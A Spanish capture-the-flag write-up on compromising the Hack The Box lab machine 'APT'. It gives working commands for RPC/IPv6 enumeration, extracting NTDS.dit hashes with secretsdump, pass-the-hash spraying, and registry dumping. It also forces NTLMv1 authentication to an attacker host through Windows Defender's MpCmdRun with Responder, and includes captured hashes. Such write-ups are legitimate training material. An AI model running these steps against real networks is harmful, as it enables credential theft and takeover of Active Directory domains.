APT

Nota. En este Write up, voy a ir al grano, ya que hice tantas cosas que no me funcionaron que creo que solo van a estorbar.

Enumeración.

Nmap

Realizamos un escaneo con nmap para saber los puertos abiertos en el rango de 1-65536 puertos.

Posteriormente verificamos las versiones de los servicios y haremos uso de scripts por default.

MSRPC

En puerto 80 realmente no podemos aprovecharnos de algo o al menos en los días que enumere, no encontré nada. Por lo tanto aquí lo importante es el puerto 135, leyendo los siguientes artículos vemos que existen maneras para enumerar puerto 135.

Usamos el módulo scanner/dcerpc/tcp_dcerpc_auditor de metasploit, para realizar la enumeración.

Tenemos los siguientes UUID:

  • UUID 99fcfec4-5260-101b-bbcb-00aa0021347a

  • UUID afa8bd80-7d8a-11c9-bef4-08002b102989

Basándonos en el resultado que obtuvimos podemos consultar este enlace, en el cual se listan diversas formas de obtener más información.

De las opciones listadas por el comentario, las correctas son las listadas con el UUID 99fcfec4-5260-101b-bbcb-00aa0021347a. Con base en los siguientes artículos, se explica cómo lograr una enumeración remota de interfaces de red en un equipo del sistema operativo Windows sin ninguna autenticación. Mediante RPC que está en manos de la interfaz IOXIDResolver. Esta interfaz forma parte de la activación remota de objetos DCOM.

Yo inserté directamente la dirección IP en el código, por lo que con eso debería bastar. Vemos que hemos obtenido las direcciones IPv6 del servidor.

Realizamos un escaneo con nmap para saber los puertos abiertos en el rango de 1-65536 puertos mediante IPv6.

Posteriormente verificamos las versiones de los servicios y haremos uso de scripts por default.

Podemos deducir que está habilitado servicio de Active Directory utilizando autenticación de Kerberos.

Antes de empezar, agregamos al archivo /etc/hosts los siguientes dominios.

echo dead:beef::b885:d62a:d679:573f apt.htb.local htb.local apt.htb >> /etc/hosts

SMB

Comprobamos si podemos acceder mediante una Null sesión mediante smbclient.

Existe una carpeta llamada backup, en esta carpeta se encuentra un archivo backup.zip con contraseña.

Por lo que debemos de realizar un ataque de fuerza bruta sobre el respaldo para obtener el contenido.

Este es el contenido del backup, el archivo Ntds.dit es una base de datos que almacena datos de Active Directory, incluida información sobre objetos de usuario, grupos y pertenencia a grupos. Incluye los hashes de contraseña para todos los usuarios del dominio.

Por lo tanto debemos de extraer esta información, eso se hace de la siguiente manera:

impacket-secretsdump -ntds ./content/Active\ Directory/ntds.dit -system ./content/registry/SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

Ahora debemos de extraer los usuarios y determinar cuáles son válidos, ya que son un total de 2000 usuarios, no podemos ir verificando de uno por uno.

cat ntlm-extract.ntds | cut -d ":" -f 1 > domain_users.txt

Utilizando kerbrute para realizar este proceso, yo me descargue directamente el binario y lo inserte en /usr/bin/, le otorgamos permisos de ejecución para poderlo ejecutar desde cualquier parte.

Después de un rato tenemos que solo hay tres usuarios válidos APT$, Administrator y henry.vinson.

Ahora extraemos los usuarios válidos con los respectivos hashes.

grep -Ee "Administrator|henry.vinson" -e"APT" ntlm-extract.ntds > domain_users_valid.txt

En el memento que hice esto no se podía utilizar IPv6 en crackmapexec, pero había una solución, bastaba con agregar esta función en connection.py.

Una vez solucionado este problema, proseguimos. A este punto no sabía si estaba haciendo algo mal porque probé distintos ataques y no obtenía resultados con los usuarios válidos, pero ahora debemos de confirmar que los hashes realmente si son, me voy adelantando los hashes que aparecen como usuarios válidos, no son. Por lo que vamos a hacer un password spraying con una lista de 2000 hashes.

Extraemos los hashes.

awk -F ":" '/1/ {print $4}' ntlm-extract.ntds > hashes.lst

No podemos realizarlo con los 2000 hashes porque está limitado la cantidad de confirmaciones que podemos hacer.

Hice un script que divida el archivo de 2000 líneas en archivos de 20 líneas, el cual da como resultado un total de 100 archivos.

Primero lo probé con APT$, pero no dio resultados, así que me pase al usuario henry.vinson, el script no es muy óptimo que digamos, pero funciona.

Después de un rato nos lanzará un resultado, el hash se encuentra en hashes-1500.lst:e53d87d42adaa3ca32bdb34a876cbffb

Punto de acceso

En ntlm-extract.ntds verificamos a quien pertenece el hash e53d87d42adaa3ca32bdb34a876cbffb y este pertenece a aine.stafford.

Ahora ye tenemos usuario válido con su respectivo hash, una vez más solo para comprobar que no salió mal.

Posterior a esto hice un checklist de los ataques que se pueden realizar, los probé y ninguno funciono.

Una de las cosas que había olvidad, es, el registro que se puede extraer con impacket, redireccione la salida y busque por palabras clave.

impacket-reg htb.local/henry.vinson@dead:beef::b885:d62a:d679:573f -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKU -s > registro

Lo importante está en HKEY_USERS.

Escalada de privilegios.

Enumeramos con: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suitearrow-up-right

Este pequeño script en PowerShell podemos ver que se cambia el valor en el registro, en cuanto al nivel de seguridad, se habilita en nivel 2, el cual dice que los dispositivos cliente utilizan la autenticación NTLMv1 y utilizan la seguridad de sesión NTLMv2 si el servidor la admite. Los controladores de dominio aceptan la autenticación LM, NTLM y NTLMv2.

Estas son algunas maneras en las cuales podemos obtener un hash.

Por lo tanto basta con abrir responder y forzar un downgrade.

responder -im -I tun0

Ahora, de las maneras de las que podemos obtener el hash, yo utilice, la siguiente:

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe" -Scan -ScanType 3 -File \\10.10.14.120\file.txt

Vemos que el hash ha sido capturado.

APT$::HTB:2B186590B543319538C161BA6E4A19DFED52DD8B0B94DB5D:2B186590B543319538C161BA6E4A19DFED52DD8B0B94DB5D:9f362261e8db440b

Utilice el siguiente enlace para realizar el cracking NTLMV1.

Basta con subir el hash con el formato que te piden y te llegara por correo.

D167c3238864b12f5f82feae86a7f798

Extraemos los hashes del Active Directory.

impacket-secretsdump 'apt.htb/APT$@dead:beef::b885:d62a:d679:573f' -hashes :d167c3238864b12f5f82feae86a7f798

Utilizamos el hash para iniciar como administrador.

Más enlaces de referencia:

Last updated